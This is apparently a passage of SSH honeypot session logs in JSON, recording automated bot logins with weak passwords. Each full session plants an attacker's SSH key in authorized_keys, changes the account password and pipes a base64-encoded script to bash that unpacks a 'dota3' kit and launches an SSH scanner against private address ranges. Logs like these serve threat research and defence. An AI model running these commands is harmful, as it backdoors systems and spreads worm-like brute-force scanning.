WHAT"},{"seq":17,"at":"2026-08-25T21:15:44.312440+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T21:15:44.313098+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T21:15:44.950180+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T21:15:44.950698+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T21:15:45.590154+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T21:15:45.590783+00:00","kind":"output","latency_ms":null,"data":"top - 21:15:45 up 5 days, 18:05, 0 user, load average: 0.08, 0.08, 0.07\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T21:15:46.230189+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T21:15:46.230620+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T21:15:46.870870+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T21:15:46.871736+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T21:15:47.509124+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T21:15:47.509664+00:00","kind":"output","latency_ms":null,"data":"prova"},{"seq":29,"at":"2026-08-25T21:15:48.148753+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T21:15:48.896500+00:00","kind":"output","latency_ms":745,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 8"},{"seq":31,"at":"2026-08-25T21:15:49.531435+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T21:15:50.377522+00:00","kind":"output","latency_ms":845,"data":"24G"},{"seq":33,"at":"2026-08-25T21:15:52.324624+00:00","kind":"input","latency_ms":null,"data":"echo \"prova provaprova\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T21:15:52.964282+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T21:15:53.425189+00:00","kind":"output","latency_ms":461,"data":""},{"seq":36,"at":"2026-08-25T21:15:55.231998+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T21:15:55.708342+00:00","kind":"output","latency_ms":474,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-25T21:15:56.346871+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T21:15:56.988489+00:00","kind":"output","latency_ms":638,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-25T21:15:57.625177+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T21:15:58.261669+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T21:15:58.777352+00:00","kind":"output","latency_ms":514,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-25T21:15:59.417345+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T21:15:59.980179+00:00","kind":"output","latency_ms":563,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-25T21:16:00.618272+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T21:16:01.081113+00:00","kind":"output","latency_ms":462,"data":""},{"seq":47,"at":"2026-08-25T21:16:09.536420+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T21:16:09.536850+00:00","kind":"output","latency_ms":null,"data":"prova"}],"credentials":[{"username":"prova","password":"provaprova","method":"password","accepted":true,"tier":"other"}]} {"id":"226ca8b8-8952-4e81-9e49-94cbe42a94be","name":"leafy-curious-avocet","protocol":"ssh","channel_kind":"exec","src_ip":"179.176.210.17","src_port":45675,"username":"andrew","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":438,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T21:14:31.390603+00:00","ended_at":"2026-08-25T21:14:31.522244+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3935,"events":[{"seq":1,"at":"2026-08-25T21:13:54.590493+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T21:13:55.029017+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T21:13:59.401701+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T21:13:59.402250+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T21:13:59.840051+00:00","kind":"input","latency_ms":null,"data":"echo -e \"andrew\\n0SqW1pG0SlYr\\n0SqW1pG0SlYr\"|passwd|bash"},{"seq":6,"at":"2026-08-25T21:14:00.276475+00:00","kind":"input","latency_ms":null,"data":"echo \"andrew\\n0SqW1pG0SlYr\\n0SqW1pG0SlYr\\n\"|passwd"},{"seq":7,"at":"2026-08-25T21:14:00.715205+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T21:14:00.715964+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T21:14:01.152808+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T21:14:01.825698+00:00","kind":"output","latency_ms":672,"data":"15888 2890 12997 0 1498 0"},{"seq":11,"at":"2026-08-25T21:14:02.268080+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T21:14:03.137813+00:00","kind":"output","latency_ms":872,"data":"-rwxr-xr-x 1 root root 142K Jan 23 2025 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T21:14:03.575442+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T21:14:03.576315+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T21:14:04.015628+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T21:14:04.016379+00:00","kind":"output","latency_ms":null,"data":" 21:14:04 up 5 days, 18:04, 0 user, load average: 0.06, 0.08, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T21:14:04.453525+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T21:14:04.454317+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T21:14:04.892007+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T21:14:04.892708+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T21:14:05.330503+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T21:14:05.331880+00:00","kind":"output","latency_ms":null,"data":"top - 21:14:05 up 5 days, 18:04, 0 user, load average: 0.06, 0.08, 0.06\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T21:14:05.770272+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T21:14:05.770748+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T21:14:06.209052+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T21:14:06.209681+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T21:14:06.646530+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T21:14:06.647278+00:00","kind":"output","latency_ms":null,"data":"andrew"},{"seq":29,"at":"2026-08-25T21:14:07.085156+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T21:14:08.314210+00:00","kind":"output","latency_ms":1227,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-25T21:14:08.752291+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T21:14:09.429661+00:00","kind":"output","latency_ms":676,"data":"25G"},{"seq":33,"at":"2026-08-25T21:14:10.861390+00:00","kind":"input","latency_ms":null,"data":"echo \"andrew andrew\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T21:14:11.298569+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T21:14:11.733111+00:00","kind":"output","latency_ms":433,"data":""},{"seq":36,"at":"2026-08-25T21:14:12.796676+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T21:14:17.572734+00:00","kind":"output","latency_ms":4774,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-25T21:14:18.010158+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T21:14:19.387813+00:00","kind":"output","latency_ms":1375,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-25T21:14:19.824544+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T21:14:20.261248+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T21:14:21.236381+00:00","kind":"output","latency_ms":973,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-25T21:14:21.676741+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T21:14:22.248503+00:00","kind":"output","latency_ms":573,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-25T21:14:22.688165+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T21:14:23.111328+00:00","kind":"output","latency_ms":422,"data":""},{"seq":47,"at":"2026-08-25T21:14:31.391088+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T21:14:31.391758+00:00","kind":"output","latency_ms":null,"data":"andrew"}],"credentials":[{"username":"andrew","password":"andrew","method":"password","accepted":true,"tier":"other"}]} {"id":"bd34f6e4-d94b-47d5-accb-f6619a1343f5","name":"jovial-velvet-pochard","protocol":"ssh","channel_kind":"exec","src_ip":"172.191.239.155","src_port":40632,"username":"noah","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":71,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T20:08:25.924409+00:00","ended_at":"2026-08-25T20:08:25.932797+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3738,"events":[{"seq":1,"at":"2026-08-25T20:08:07.665396+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T20:08:07.735746+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T20:08:10.588369+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T20:08:10.588745+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T20:08:10.666449+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\n6k2WSO9WN24b\\n6k2WSO9WN24b\"|passwd|bash"},{"seq":6,"at":"2026-08-25T20:08:10.735713+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\n6k2WSO9WN24b\\n6k2WSO9WN24b\\n\"|passwd"},{"seq":7,"at":"2026-08-25T20:08:10.806051+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T20:08:10.806692+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T20:08:10.876411+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T20:08:11.390381+00:00","kind":"output","latency_ms":513,"data":"15888 4634 6724 1661 2893 1790"},{"seq":11,"at":"2026-08-25T20:08:11.476221+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T20:08:12.067087+00:00","kind":"output","latency_ms":589,"data":"-rwxr-xr-x 1 root root 151K Apr 24 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T20:08:12.137199+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T20:08:12.137894+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-25T20:08:12.207898+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T20:08:12.208365+00:00","kind":"output","latency_ms":null,"data":" 20:08:12 up 5 days, 16:58, 0 user, load average: 0.05, 0.05, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T20:08:12.286573+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T20:08:12.287101+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T20:08:12.357600+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T20:08:12.357960+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T20:08:12.426351+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T20:08:12.427259+00:00","kind":"output","latency_ms":null,"data":"top - 20:08:12 up 5 days, 16:58, 0 user, load average: 0.05, 0.05, 0.04\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T20:08:12.506329+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T20:08:12.507258+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T20:08:12.576554+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T20:08:12.577084+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T20:08:12.646347+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T20:08:12.647119+00:00","kind":"output","latency_ms":null,"data":"noah"},{"seq":29,"at":"2026-08-25T20:08:12.717552+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T20:08:13.703514+00:00","kind":"output","latency_ms":985,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-25T20:08:13.777193+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T20:08:14.202855+00:00","kind":"output","latency_ms":424,"data":"25G"},{"seq":33,"at":"2026-08-25T20:08:14.668010+00:00","kind":"input","latency_ms":null,"data":"echo \"noah password\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T20:08:14.738870+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T20:08:14.937374+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-25T20:08:15.220655+00:00","kind":"output","latency_ms":482,"data":""},{"seq":37,"at":"2026-08-25T20:08:15.506017+00:00","kind":"output","latency_ms":567,"data":"noah password"},{"seq":38,"at":"2026-08-25T20:08:15.577363+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T20:08:16.036813+00:00","kind":"output","latency_ms":459,"data":""},{"seq":40,"at":"2026-08-25T20:08:16.108693+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T20:08:16.177643+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T20:08:16.931460+00:00","kind":"output","latency_ms":753,"data":"1"},{"seq":43,"at":"2026-08-25T20:08:17.007700+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T20:08:17.627233+00:00","kind":"output","latency_ms":619,"data":"1"},{"seq":45,"at":"2026-08-25T20:08:17.699442+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T20:08:18.127741+00:00","kind":"output","latency_ms":427,"data":""},{"seq":47,"at":"2026-08-25T20:08:25.925516+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T20:08:25.926135+00:00","kind":"output","latency_ms":null,"data":"noah"}],"credentials":[{"username":"noah","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"97698eff-26fd-483a-afc7-fc2c4f06b0dc","name":"ancient-tranquil-addax","protocol":"ssh","channel_kind":"exec","src_ip":"185.158.22.150","src_port":32670,"username":"mega","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":518,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T20:00:52.318042+00:00","ended_at":"2026-08-25T20:00:52.476609+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3539,"events":[{"seq":1,"at":"2026-08-25T20:00:17.119677+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T20:00:17.634743+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T20:00:23.197140+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T20:00:23.197887+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T20:00:23.714472+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nEh1eHS9VWk2a\\nEh1eHS9VWk2a\"|passwd|bash"},{"seq":6,"at":"2026-08-25T20:00:24.231832+00:00","kind":"input","latency_ms":null,"data":"echo 